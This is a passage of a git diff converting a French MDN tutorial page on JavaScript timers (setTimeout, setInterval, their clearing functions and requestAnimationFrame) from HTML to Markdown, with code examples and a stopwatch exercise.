pourriez vouloir faire cela plus tard.</li> - <li>Zéro ou plusieurs valeurs représentant les paramètres que vous souhaitez transmettre à la fonction lors de son exécution.</li> -</ul> +- Une fonction à exécuter, ou une référence à une fonction définie ailleurs. +- Un nombre représentant l'intervalle de temps en millisecondes (1000 millisecondes équivalent à 1 seconde) à attendre avant d'exécuter le code. Si vous spécifiez une valeur de `0` (ou omettez la valeur), la fonction sera exécutée dès que possible. (Voir la note ci-dessous sur la raison pour laquelle elle s'exécute "dès que possible" et non "immédiatement"). Plus d'informations sur les raisons pour lesquelles vous pourriez vouloir faire cela plus tard. +- Zéro ou plusieurs valeurs représentant les paramètres que vous souhaitez transmettre à la fonction lors de son exécution. -<div class="note"> - <p><strong>Note :</strong> La quantité de temps spécifiée (ou le délai) n'est <strong>pas</strong> le <em>temps garanti</em> à l'exécution, mais plutôt le <em>temps minimum</em> à l'exécution. Les rappels que vous passez à ces fonctions ne peuvent pas s'exécuter tant que la pile du processus principal n'est pas vide.</p> - <p>En conséquence, un code comme <code>setTimeout(fn, 0)</code> s'exécutera dès que la pile sera vide, <strong>pas</strong> immédiatement. Si vous exécutez un code comme <code>setTimeout(fn, 0)</code> mais qu'immédiatement après vous exécutez une boucle qui compte de 1 à 10 milliards, votre rappel sera exécuté après quelques secondes.</p> -</div> +> **Note :** La quantité de temps spécifiée (ou le délai) n'est **pas** le _temps garanti_ à l'exécution, mais plutôt le _temps minimum_ à l'exécution. Les rappels que vous passez à ces fonctions ne peuvent pas s'exécuter tant que la pile du processus principal n'est pas vide. +> +> En conséquence, un code comme `setTimeout(fn, 0)` s'exécutera dès que la pile sera vide, **pas** immédiatement. Si vous exécutez un code comme `setTimeout(fn, 0)` mais qu'immédiatement après vous exécutez une boucle qui compte de 1 à 10 milliards, votre rappel sera exécuté après quelques secondes. -<p>Dans l'exemple suivant, le navigateur attendra deux secondes avant d'exécuter la fonction anonyme, puis affichera le message d'alerte (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">voir son exécution en direct</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">voir le code source</a>) :</p> +Dans l'exemple suivant, le navigateur attendra deux secondes avant d'exécuter la fonction anonyme, puis affichera le message d'alerte ([voir son exécution en direct](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-settimeout.html), et [voir le code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-settimeout.html)) : -<pre class="brush: js">let maSalutation = setTimeout(() => { +```js +let maSalutation = setTimeout(() => { console.log('Bonjour, M. Univers !'); -}, 2000);</pre> +}, 2000); +``` -<p>Les fonctions que vous spécifiez n'ont pas besoin d'être anonymes. Vous pouvez donner un nom à votre fonction, et même la définir ailleurs et passer une référence de fonction à <code>setTimeout()</code>. Les deux versions suivantes de l'extrait de code sont équivalentes à la première :</p> +Les fonctions que vous spécifiez n'ont pas besoin d'être anonymes. Vous pouvez donner un nom à votre fonction, et même la définir ailleurs et passer une référence de fonction à `setTimeout()`. Les deux versions suivantes de l'extrait de code sont équivalentes à la première : -<pre class="brush: js">// Avec une fonction nommée +```js +// Avec une fonction nommée let maSalutation = setTimeout(function direBonjour() { console.log('Bonjour, M. Univers !'); }, 2000); @@ -89,225 +90,235 @@ function direBonjour() { console.log('Bonjour, M. Univers !'); } -let maSalutation = setTimeout(direBonjour, 2000);</pre> +let maSalutation = setTimeout(direBonjour, 2000); +``` -<p>Cela peut être utile si vous avez une fonction qui doit être appelée à la fois à partir d'un délai d'attente et en réponse à un événement, par exemple. Mais cela peut aussi vous aider à garder votre code en ordre, surtout si le rappel du délai d'attente représente plus de quelques lignes de code.</p> +Cela peut être utile si vous avez une fonction qui doit être appelée à la fois à partir d'un délai d'attente et en réponse à un événement, par exemple. Mais cela peut aussi vous aider à garder votre code en ordre, surtout si le rappel du délai d'attente représente plus de quelques lignes de code. -<p><code>setTimeout()</code> renvoie une valeur d'identifiant qui peut être utilisée pour faire référence au délai d'attente ultérieurement, par exemple lorsque vous souhaitez l'arrêter. Voir <a href="#clearing_timeouts">Effacement des délais d'attente</a> (ci-dessous) pour apprendre comment faire cela.</p> +`setTimeout()` renvoie une valeur d'identifiant qui peut être utilisée pour faire référence au délai d'attente ultérieurement, par exemple lorsque vous souhaitez l'arrêter. Voir [Effacement des délais d'attente](#clearing_timeouts) (ci-dessous) pour apprendre comment faire cela. -<h3 id="passing_parameters_to_a_settimeout_function">Passage de paramètres à une fonction setTimeout()</h3> +### Passage de paramètres à une fonction setTimeout() -<p>Tous les paramètres que vous voulez passer à la fonction en cours d'exécution à l'intérieur du <code>setTimeout()</code> doivent lui être passés comme paramètres supplémentaires à la fin de la liste.</p> +Tous les paramètres que vous voulez passer à la fonction en cours d'exécution à l'intérieur du `setTimeout()` doivent lui être passés comme paramètres supplémentaires à la fin de la liste. -<p>Par exemple, vous pouvez remanier la fonction précédente pour qu'elle dise bonjour à la personne dont le nom lui est transmis :</p> +Par exemple, vous pouvez remanier la fonction précédente pour qu'elle dise bonjour à la personne dont le nom lui est transmis : -<pre class="brush: js">function direBonjour(who) { +```js +function direBonjour(who) { console.log(`Bonjour ${who} !`); -}</pre> +} +``` -<p>Maintenant, vous pouvez passer le nom de la personne dans l'appel <code>setTimeout()</code> comme troisième paramètre :</p> +Maintenant, vous pouvez passer le nom de la personne dans l'appel `setTimeout()` comme troisième paramètre : -<pre class="brush: js">let maSalutation = setTimeout(direBonjour, 2000, 'M. Univers');</pre> +```js +let maSalutation = setTimeout(direBonjour, 2000, 'M. Univers'); +``` -<h3 id="clearing_timeouts">Effacement des délais d'attente</h3> +### Effacement des délais d'attente -<p>Enfin, si un timeout a été créé, vous pouvez l'annuler avant que le temps spécifié ne se soit écoulé en appelant <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout"><code>clearTimeout()</code></a>, en lui passant en paramètre l'identifiant de l'appel <code>setTimeout()</code>. Donc pour annuler notre timeout ci-dessus, vous feriez ceci :</p> +Enfin, si un timeout a été créé, vous pouvez l'annuler avant que le temps spécifié ne se soit écoulé en appelant [`clearTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout), en lui passant en paramètre l'identifiant de l'appel `setTimeout()`. Donc pour annuler notre timeout ci-dessus, vous feriez ceci : -<pre class="brush: js">clearTimeout(maSalutation);</pre> +```js +clearTimeout(maSalutation); +``` -<div class="note"> - <p><strong>Note :</strong> Voir <code><a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/greeter-app.html">greeter-app.html</a></code> pour une démo un peu plus élaborée qui permet de définir le nom de la personne à saluer dans un formulaire, et d'annuler la salutation à l'aide d'un bouton séparé (<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/greeter-app.html">voir aussi le code source</a>).</p> -</div> +> **Note :** Voir [`greeter-app.html`](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/greeter-app.html) pour une démo un peu plus élaborée qui permet de définir le nom de la personne à saluer dans un formulaire, et d'annuler la salutation à l'aide d'un bouton séparé ([voir aussi le code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/greeter-app.html)). -<h2 id="setinterval">setInterval()</h2> +## setInterval() -<p><code>setTimeout()</code> fonctionne parfaitement lorsque vous devez exécuter du code une fois après une période de temps définie. Mais que se passe-t-il lorsque vous avez besoin d'exécuter le code encore et encore - par exemple, dans le cas d'une animation ?</p> +`setTimeout()` fonctionne parfaitement lorsque vous devez exécuter du code une fois après une période de temps définie. Mais que se passe-t-il lorsque vous avez besoin d'exécuter le code encore et encore - par exemple, dans le cas d'une animation ? -<p>C'est là qu'intervient le <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval"><code>setInterval()</code></a>. Cela fonctionne de manière très similaire à <code>setTimeout()</code>, sauf que la fonction que vous passez comme premier paramètre est exécutée de manière répétée à une fréquence égale au nombre de millisecondes donné par le deuxième paramètre distinct, plutôt qu'une seule fois. Vous pouvez également passer tous les paramètres requis par la fonction en cours d'exécution comme paramètres ultérieurs de l'appel <code>setInterval()</code>.</p> +C'est là qu'intervient le [`setInterval()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval). Cela fonctionne de manière très similaire à `setTimeout()`, sauf que la fonction que vous passez comme premier paramètre est exécutée de manière répétée à une fréquence égale au nombre de millisecondes donné par le deuxième paramètre distinct, plutôt qu'une seule fois. Vous pouvez également passer tous les paramètres requis par la fonction en cours d'exécution comme paramètres ultérieurs de l'appel `setInterval()`. -<p>Prenons un exemple. La fonction suivante crée un nouvel objet <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date()</code></a>, en extrait une chaîne de temps en utilisant <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString"><code>toLocaleTimeString()</code></a>, puis l'affiche dans l'interface utilisateur. Elle exécute ensuite la fonction une fois par seconde à l'aide de <code>setInterval()</code>, créant l'effet d'une horloge numérique qui se met à jour une fois par seconde (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">voir cela en direct</a>, et aussi <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">voir la source</a>) :</p> +Prenons un exemple. La fonction suivante crée un nouvel objet [`Date()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), en extrait une chaîne de temps en utilisant [`toLocaleTimeString()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString), puis l'affiche dans l'interface utilisateur. Elle exécute ensuite la fonction une fois par seconde à l'aide de `setInterval()`, créant l'effet d'une horloge numérique qui se met à jour une fois par seconde ([voir cela en direct](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html), et aussi [voir la source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html)) : -<pre class="brush: js">function displayTime() { +```js +function displayTime() { let date = new Date(); let time = date.toLocaleTimeString(); document.getElementById('demo').textContent = time; } -const createClock = setInterval(displayTime, 1000);</pre> +const createClock = setInterval(displayTime, 1000); +``` + +Tout comme `setTimeout()`, `setInterval()` renvoie une valeur d'identification que vous pouvez utiliser plus tard lorsque vous devez effacer l'intervalle. -<p>Tout comme <code>setTimeout()</code>, <code>setInterval()</code> renvoie une valeur d'identification que vous pouvez utiliser plus tard lorsque vous devez effacer l'intervalle.</p> +### Effacement des intervalles -<h3 id="clearing_intervals">Effacement des intervalles</h3> +`setInterval()` continue à exécuter une tâche pour toujours, à moins que vous ne fassiez quelque chose à ce sujet. Vous voudrez probablement un moyen d'arrêter de telles tâches, sinon vous pouvez finir par obtenir des erreurs lorsque le navigateur ne peut pas compléter d'autres versions de la tâche, ou si l'animation gérée par la tâche est terminée. Vous pouvez le faire de la même manière que vous arrêtez les temporisations - en passant l'identifiant renvoyé par l'appel `setInterval()` à la fonction [`clearInterval()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval) : -<p><code>setInterval()</code> continue à exécuter une tâche pour toujours, à moins que vous ne fassiez quelque chose à ce sujet. Vous voudrez probablement un moyen d'arrêter de telles tâches, sinon vous pouvez finir par obtenir des erreurs lorsque le navigateur ne peut pas compléter d'autres versions de la tâche, ou si l'animation gérée par la tâche est terminée. Vous pouvez le faire de la même manière que vous arrêtez les temporisations - en passant l'identifiant renvoyé par l'appel <code>setInterval()</code> à la fonction <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval"><code>clearInterval()</code></a> :</p> +```js +const myInterval = setInterval(myFunction, 2000); -<pre class="brush: js">const myInterval = setInterval(myFunction, 2000); +clearInterval(myInterval); +``` -clearInterval(myInterval);</pre> +#### Apprentissage actif : Créez votre propre chronomètre ! -<h4 id="Active_learning_Creating_your_own_stopwatch!">Apprentissage actif : Créez votre propre chronomètre !</h4> +Tout ceci étant dit, nous avons un défi à vous proposer. Prenez une copie de notre exemple [`setInterval-clock.html`](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html), et modifiez-le pour créer votre propre chronomètre simple. -<p>Tout ceci étant dit, nous avons un défi à vous proposer. Prenez une copie de notre exemple <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">setInterval-clock.html</a></code>, et modifiez-le pour créer votre propre chronomètre simple.</p> +Vous devez afficher une heure comme précédemment, mais dans cet exemple, vous avez besoin : -<p>Vous devez afficher une heure comme précédemment, mais dans cet exemple, vous avez besoin :</p> +- Un bouton "Start" pour lancer le chronomètre. +- Un bouton "Stop" pour le mettre en pause/arrêter. +- Un bouton "Reset" pour réinitialiser le temps à `0`. +- L'affichage du temps pour indiquer le nombre de secondes écoulées, plutôt que le temps réel. -<ul> - <li>Un bouton "Start" pour lancer le chronomètre.</li> - <li>Un bouton "Stop" pour le mettre en pause/arrêter.</li> - <li>Un bouton "Reset" pour réinitialiser le temps à <code>0</code>.</li> - <li>L'affichage du temps pour indiquer le nombre de secondes écoulées, plutôt que le temps réel.</li> -</ul> +Voici quelques conseils pour vous : -<p>Voici quelques conseils pour vous :</p> +- Vous pouvez structurer et styliser le balisage du bouton comme vous le souhaitez ; veillez simplement à utiliser du HTML sémantique, avec des crochets vous permettant de saisir les références du bouton à l'aide de JavaScript. +- Vous voulez probablement créer une variable qui commence à `0`, puis s'incrémente d'une unité toutes les secondes en utilisant une boucle constante. +- Il est plus facile de créer cet exemple sans utiliser un objet `Date()`, comme nous l'avons fait dans notre version, mais moins précis - vous ne pouvez pas garantir que le rappel se déclenchera après exactement `1000`ms. Une façon plus précise serait d'exécuter `startTime = Date.now()` pour obtenir un horodatage du moment exact où l'utilisateur a cliqué sur le bouton de démarrage, puis de faire `Date.now() - startTime` pour obtenir le nombre de millisecondes après le clic sur le bouton de démarrage. +- Vous souhaitez également calculer le nombre d'heures, de minutes et de secondes sous forme de valeurs distinctes, puis les afficher ensemble dans une chaîne de caractères après chaque itération de la boucle. À partir du deuxième compteur, vous pouvez calculer chacune de ces valeurs. +- Comment les calculeriez-vous ? Réfléchissez-y : -<ul> - <li>Vous pouvez structurer et styliser le balisage du bouton comme vous le souhaitez ; veillez simplement à utiliser du HTML sémantique, avec des crochets vous permettant de saisir les références du bouton à l'aide de JavaScript.</li> - <li>Vous voulez probablement créer une variable qui commence à <code>0</code>, puis s'incrémente d'une unité toutes les secondes en utilisant une boucle constante.</li> - <li>Il est plus facile de créer cet exemple sans utiliser un objet <code>Date()</code>, comme nous l'avons fait dans notre version, mais moins précis - vous ne pouvez pas garantir que le rappel se déclenchera après exactement <code>1000</code>ms. Une façon plus précise serait d'exécuter <code>startTime = Date.now()</code> pour obtenir un horodatage du moment exact où l'utilisateur a cliqué sur le bouton de démarrage, puis de faire <code>Date.now() - startTime</code> pour obtenir le nombre de millisecondes après le clic sur le bouton de démarrage.</li> - <li>Vous souhaitez également calculer le nombre d'heures, de minutes et de secondes sous forme de valeurs distinctes, puis les afficher ensemble dans une chaîne de caractères après chaque itération de la boucle. À partir du deuxième compteur, vous pouvez calculer chacune de ces valeurs.</li> - <li>Comment les calculeriez-vous ? Réfléchissez-y : - <ul> - <li>Le nombre de secondes dans une heure est de <code>3600</code>.</li> - <li>Le nombre de minutes sera le nombre de secondes restantes lorsque toutes les heures auront été retirées, divisé par <code>60</code>.</li> - <li>Le nombre de secondes sera le nombre de secondes restantes lorsque toutes les minutes auront été retirées.</li> - </ul> - </li> - <li>Vous devrez inclure un zéro de tête sur vos valeurs d'affichage si le montant est inférieur à <code>10</code>, afin que cela ressemble davantage à une horloge/chronomètre traditionnel.</li> - <li>Pour mettre le chronomètre en pause, il faut effacer l'intervalle. Pour le réinitialiser, vous devrez remettre le compteur à <code>0</code>, effacer l'intervalle, puis mettre immédiatement à jour l'affichage.</li> - <li>Vous devriez probablement désactiver le bouton de démarrage après l'avoir pressé une fois, et le réactiver après l'avoir arrêté/réinitialisé. Sinon, les pressions multiples sur le bouton de démarrage appliqueront plusieurs <code>setInterval()</code> à l'horloge, ce qui entraînera un comportement erroné.</li> -</ul> + - Le nombre de secondes dans une heure est de `3600`. + - Le nombre de minutes sera le nombre de secondes restantes lorsque toutes les heures auront été retirées, divisé par `60`. + - Le nombre de secondes sera le nombre de secondes restantes lorsque toutes les minutes auront été retirées. -<div class="note"> - <p><strong>Note :</strong> Si vous êtes bloqué, vous pouvez <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-stopwatch.html">trouver notre version ici</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-stopwatch.html">code source</a>).</p> -</div> +- Vous devrez inclure un zéro de tête sur vos valeurs d'affichage si le montant est inférieur à `10`, afin que cela ressemble davantage à une horloge/chronomètre traditionnel. +- Pour mettre le chronomètre en pause, il faut effacer l'intervalle. Pour le réinitialiser, vous devrez remettre le compteur à `0`, effacer l'intervalle, puis mettre immédiatement à jour l'affichage. +- Vous devriez probablement désactiver le bouton de démarrage après l'avoir pressé une fois, et le réactiver après l'avoir arrêté/réinitialisé. Sinon, les pressions multiples sur le bouton de démarrage appliqueront plusieurs `setInterval()` à l'horloge, ce qui entraînera un comportement erroné. -<h2 id="things_to_keep_in_mind_about_settimeout_and_setinterval">Choses à garder à l'esprit concernant setTimeout() et setInterval()</h2> +> **Note :** Si vous êtes bloqué, vous pouvez [trouver notre version ici](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-stopwatch.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-stopwatch.html)). -<p>Il y a quelques éléments à garder à l'esprit lorsque vous travaillez avec <code>setTimeout()</code> et <code>setInterval()</code>. Passons-les en revue maintenant.</p> +## Choses à garder à l'esprit concernant setTimeout() et setInterval() -<h3 id="recursive_timeouts">Délais récursifs</h3> +Il y a quelques éléments à garder à l'esprit lorsque vous travaillez avec `setTimeout()` et `setInterval()`. Passons-les en revue maintenant. -<p>Il existe une autre façon d'utiliser <code>setTimeout()</code> : vous pouvez l'appeler de manière récursive pour exécuter le même code de manière répétée, au lieu d'utiliser <code>setInterval()</code>.</p> +### Délais récursifs -<p>L'exemple ci-dessous utilise un <code>setTimeout()</code> récursif pour exécuter la fonction passée toutes les <code>100</code> millisecondes :</p> +Il existe une autre façon d'utiliser `setTimeout()` : vous pouvez l'appeler de manière récursive pour exécuter le même code de manière répétée, au lieu d'utiliser `setInterval()`. -<pre class="brush: js">let i = 1; +L'exemple ci-dessous utilise un `setTimeout()` récursif pour exécuter la fonction passée toutes les `100` millisecondes : + +```js +let i = 1; setTimeout(function run() { console.log(i); i++; setTimeout(run, 100); -}, 100);</pre> +}, 100); +``` -<p>Comparez l'exemple ci-dessus à celui qui suit - celui-ci utilise <code>setInterval()</code> pour accomplir le même effet :</p> +Comparez l'exemple ci-dessus à celui qui suit - celui-ci utilise `setInterval()` pour accomplir le même effet : -<pre class="brush: js">let i = 1; +```js +let i = 1; setInterval(function run() { console.log(i); i++; -}, 100);</pre> +}, 100); +``` -<h4 id="how_do_recursive_settimeout_and_setinterval_differ">Quelle est la différence entre le <code>setTimeout()</code> récursif et le <code>setInterval()</code> ?</h4> +#### Quelle est la différence entre le `setTimeout()` récursif et le `setInterval()` ? -<p>La différence entre les deux versions du code ci-dessus est subtile.</p> +La différence entre les deux versions du code ci-dessus est subtile. -<ul> - <li>Le <code>setTimeout()</code> récursif garantit le délai indiqué entre les exécutions. L'attente de la prochaine exécution commencera uniquement après que le code ait fini de s'exécuter. Dans cet exemple, le code s'exécutera, puis attendra <code>100</code> millisecondes avant de s'exécuter à nouveau - l'intervalle sera donc le même, quelle que soit la durée d'exécution du code.</li> - <li>L'exemple utilisant <code>setInterval()</code> fait les choses un peu différemment. L'intervalle que vous avez choisi <em>inclut</em> le temps d'exécution du code que vous voulez exécuter. Disons que le code prend <code>40</code> millisecondes pour s'exécuter - l'intervalle finit alors par être seulement de <code>60</code> millisecondes.</li> - <li>Lorsque vous utilisez <code>setTimeout()</code> de manière récursive, chaque itération peut calculer un délai différent avant d'exécuter l'itération suivante. En d'autres termes, la valeur du deuxième paramètre peut spécifier un temps différent en millisecondes à attendre avant d'exécuter à nouveau le code.</li> -</ul> +- Le `setTimeout()` récursif garantit le délai indiqué entre les exécutions. L'attente de la prochaine exécution commencera uniquement après que le code ait fini de s'exécuter. Dans cet exemple, le code s'exécutera, puis attendra `100` millisecondes avant de s'exécuter à nouveau - l'intervalle sera donc le même, quelle que soit la durée d'exécution du code. +- L'exemple utilisant `setInterval()` fait les choses un peu différemment. L'intervalle que vous avez choisi _inclut_ le temps d'exécution du code que vous voulez exécuter. Disons que le code prend `40` millisecondes pour s'exécuter - l'intervalle finit alors par être seulement de `60` millisecondes. +- Lorsque vous utilisez `setTimeout()` de manière récursive, chaque itération peut calculer un délai différent avant d'exécuter l'itération suivante. En d'autres termes, la valeur du deuxième paramètre peut spécifier un temps différent en millisecondes à attendre avant d'exécuter à nouveau le code. -<p>Lorsque votre code a le potentiel de prendre plus de temps à s'exécuter que l'intervalle de temps que vous avez assigné, il est préférable d'utiliser le <code>setTimeout()</code> récursif - cela maintiendra l'intervalle de temps constant entre les exécutions, quelle que soit la durée d'exécution du code, et vous n'obtiendrez pas d'erreurs.</p> +Lorsque votre code a le potentiel de prendre plus de temps à s'exécuter que l'intervalle de temps que vous avez assigné, il est préférable d'utiliser le `setTimeout()` récursif - cela maintiendra l'intervalle de temps constant entre les exécutions, quelle que soit la durée d'exécution du code, et vous n'obtiendrez pas d'erreurs. -<h3 id="immediate_timeouts">Délais immédiats</h3> +### Délais immédiats -<p>En utilisant <code>0</code> comme valeur pour <code>setTimeout()</code>, on planifie l'exécution de la fonction de rappel spécifiée dès que possible, mais seulement après l'exécution du processus de code principal.</p> +En utilisant `0` comme valeur pour `setTimeout()`, on planifie l'exécution de la fonction de rappel spécifiée dès que possible, mais seulement après l'exécution du processus de code principal. -<p>Par exemple, le code ci-dessous (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html">voir en direct</a>) produit une alerte contenant <code>"Hello"</code>, puis une alerte contenant <code>"World"</code> dès que vous cliquez sur OK sur la première alerte.</p> +Par exemple, le code ci-dessous ([voir en direct](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html)) produit une alerte contenant `"Hello"`, puis une alerte contenant `"World"` dès que vous cliquez sur OK sur la première alerte. -<pre class="brush: js">setTimeout(() => { +```js +setTimeout(() => { alert('World'); }, 0); -alert('Hello');</pre> +alert('Hello'); +``` -<p>Cela peut être utile dans les cas où vous souhaitez définir un bloc de code à exécuter dès que l'ensemble du thread principal a terminé son exécution - placez-le dans la boucle d'événement asynchrone, de sorte qu'il s'exécutera immédiatement après.</p> +Cela peut être utile dans les cas où vous souhaitez définir un bloc de code à exécuter dès que l'ensemble du thread principal a terminé son exécution - placez-le dans la boucle d'événement asynchrone, de sorte qu'il s'exécutera immédiatement après. -<h3 id="clearing_with_cleartimeout_or_clearinterval">Effacement avec clearTimeout() ou clearInterval()</h3> +### Effacement avec clearTimeout() ou clearInterval() -<p><code>clearTimeout()</code> et <code>clearInterval()</code> utilisent toutes deux la même liste d'entrées pour effacer. Il est intéressant de noter que cela signifie que vous pouvez utiliser l'une comme l'autre méthode pour effacer un <code>setTimeout()</code> ou <code>setInterval()</code>.</p> +`clearTimeout()` et `clearInterval()` utilisent toutes deux la même liste d'entrées pour effacer. Il est intéressant de noter que cela signifie que vous pouvez utiliser l'une comme l'autre méthode pour effacer un `setTimeout()` ou `setInterval()`. -<p>Par souci de cohérence, vous devriez utiliser <code>clearTimeout()</code> pour effacer les entrées <code>setTimeout()</code> et <code>clearInterval()</code> pour effacer les entrées <code>setInterval()</code>. Cela permettra d'éviter toute confusion.</p> +Par souci de cohérence, vous devriez utiliser `clearTimeout()` pour effacer les entrées `setTimeout()` et `clearInterval()` pour effacer les entrées `setInterval()`. Cela permettra d'éviter toute confusion. -<h2 id="requestanimationframe">requestAnimationFrame()</h2> +## requestAnimationFrame() -<p><a href="/fr/docs/Web/API/Window/requestAnimationFrame"><code>requestAnimationFrame()</code></a> est une fonction de bouclage spécialisée, créée pour exécuter des animations de manière efficace dans le navigateur. Elle exécute un bloc de code spécifié avant que le navigateur ne repeigne ensuite l'affichage, ce qui permet d'exécuter une animation à une fréquence de rafraîchissement appropriée, quel que soit l'environnement dans lequel elle est exécutée.</p> +[`requestAnimationFrame()`](/fr/docs/Web/API/Window/requestAnimationFrame) est une fonction de bouclage spécialisée, créée pour exécuter des animations de manière efficace dans le navigateur. Elle exécute un bloc de code spécifié avant que le navigateur ne repeigne ensuite l'affichage, ce qui permet d'exécuter une animation à une fréquence de rafraîchissement appropriée, quel que soit l'environnement dans lequel elle est exécutée. -<p>Elle a été créée en réponse aux problèmes perçus avec les fonctions asynchrones antérieures comme <code>setInterval()</code>, qui, par exemple, ne s'exécute pas à une fréquence d'images optimisée pour le matériel et continue à s'exécuter alors qu'elle pourrait s'arrêter lorsque l'onglet n'est plus actif ou si l'animation se déroule hors de la page, etc.</p> +Elle a été créée en réponse aux problèmes perçus avec les fonctions asynchrones antérieures comme `setInterval()`, qui, par exemple, ne s'exécute pas à une fréquence d'images optimisée pour le matériel et continue à s'exécuter alors qu'elle pourrait s'arrêter lorsque l'onglet n'est plus actif ou si l'animation se déroule hors de la page, etc. -<p>(<a href="http://creativejs.com/resources/requestanimationframe/index.html">Plus d'informations à ce sujet sur CreativeJS</a> <small>(en)</small>.)</p> +([Plus d'informations à ce sujet sur CreativeJS](http://creativejs.com/resources/requestanimationframe/index.html) (en).) -<div class="note"> - <p><strong>Note :</strong> Vous trouverez des exemples d'utilisation de <code>requestAnimationFrame()</code> ailleurs dans le cours - voir par exemple <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a>, et <a href="/fr/docs/Learn/JavaScript/Objects/Object_building_practice">La construction d'objet en pratique</a>.</p> -</div> +> **Note :** Vous trouverez des exemples d'utilisation de `requestAnimationFrame()` ailleurs dans le cours - voir par exemple [Dessiner des éléments graphiques](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics), et [La construction d'objet en pratique](/fr/docs/Learn/JavaScript/Objects/Object_building_practice). -<p>La méthode prend comme argument un rappel à invoquer avant le repeignage. C'est le modèle général dans lequel vous le verrez utilisé :</p> +La méthode prend comme argument un rappel à invoquer avant le repeignage. C'est le modèle général dans lequel vous le verrez utilisé : -<pre class="brush: js">function draw() { +```js +function draw() { // Le code du dessin va ici requestAnimationFrame(draw); } -draw();</pre> +draw(); +``` -<p>L'idée est de définir une fonction dans laquelle votre animation est mise à jour (par exemple, vos sprites sont déplacés, le score est mis à jour, les données sont rafraîchies, ou autre). Ensuite, vous l'appelez pour lancer le processus. À la fin du bloc de fonctions, vous appelez <code>requestAnimationFrame()</code> avec la référence de la fonction passée en paramètre, et cela indique au navigateur de rappeler la fonction lors du prochain rafraîchissement de l'affichage. Ceci est ensuite exécuté en continu, car le code appelle <code>requestAnimationFrame()</code> de manière récursive.</p> +L'idée est de définir une fonction dans laquelle votre animation est mise à jour (par exemple, vos sprites sont déplacés, le score est mis à jour, les données sont rafraîchies, ou autre). Ensuite, vous l'appelez pour lancer le processus. À la fin du bloc de fonctions, vous appelez `requestAnimationFrame()` avec la référence de la fonction passée en paramètre, et cela indique au navigateur de rappeler la fonction lors du prochain rafraîchissement de l'affichage. Ceci est ensuite exécuté en continu, car le code appelle `requestAnimationFrame()` de manière récursive. -<div class="note"> - <p><strong>Note :</strong> Si vous souhaitez réaliser une sorte d'animation DOM simple et constante, <a href="/fr/docs/Web/CSS/CSS_Animations">les animations CSS</a> sont probablement plus rapides. Elles sont calculées directement par le code interne du navigateur, plutôt que par JavaScript.</p> - <p>Si, toutefois, vous faites quelque chose de plus complexe et impliquant des objets qui ne sont pas directement accessibles à l'intérieur du DOM (comme les objets <a href="/fr/docs/Web/API/Canvas_API">2D Canvas API</a> ou <a href="/fr/docs/Web/API/WebGL_API">WebGL</a>), <code>requestAnimationFrame()</code> est la meilleure option dans la plupart des cas.</p> -</div> +> **Note :** Si vous souhaitez réaliser une sorte d'animation DOM simple et constante, [les animations CSS](/fr/docs/Web/CSS/CSS_Animations) sont probablement plus rapides. Elles sont calculées directement par le code interne du navigateur, plutôt que par JavaScript. +> +> Si, toutefois, vous faites quelque chose de plus complexe et impliquant des objets qui ne sont pas directement accessibles à l'intérieur du DOM (comme les objets [2D Canvas API](/fr/docs/Web/API/Canvas_API) ou [WebGL](/fr/docs/Web/API/WebGL_API)), `requestAnimationFrame()` est la meilleure option dans la plupart des cas. -<h3 id="how_fast_does_your_animation_run">Quelle est la vitesse de votre animation ?</h3> +### Quelle est la vitesse de votre animation ? -<p>La fluidité de votre animation dépend directement de la fréquence d'images de votre animation, qui est mesurée en images par seconde (ips). Plus ce nombre est élevé, plus votre animation sera fluide, jusqu'à un certain point.</p> +La fluidité de votre animation dépend directement de la fréquence d'images de votre animation, qui est mesurée en images par seconde (ips). Plus ce nombre est élevé, plus votre animation sera fluide, jusqu'à un certain point. -<p>Comme la plupart des écrans ont une fréquence de rafraîchissement de 60 Hz, la fréquence d'images la plus rapide que vous pouvez viser est de 60 images par seconde (IPS) lorsque vous travaillez avec des navigateurs Web. Cependant, plus d'images signifie plus de traitement, ce qui peut souvent provoquer des saccades et des sauts - également connus sous le nom de <em>dégradation des images</em>, ou 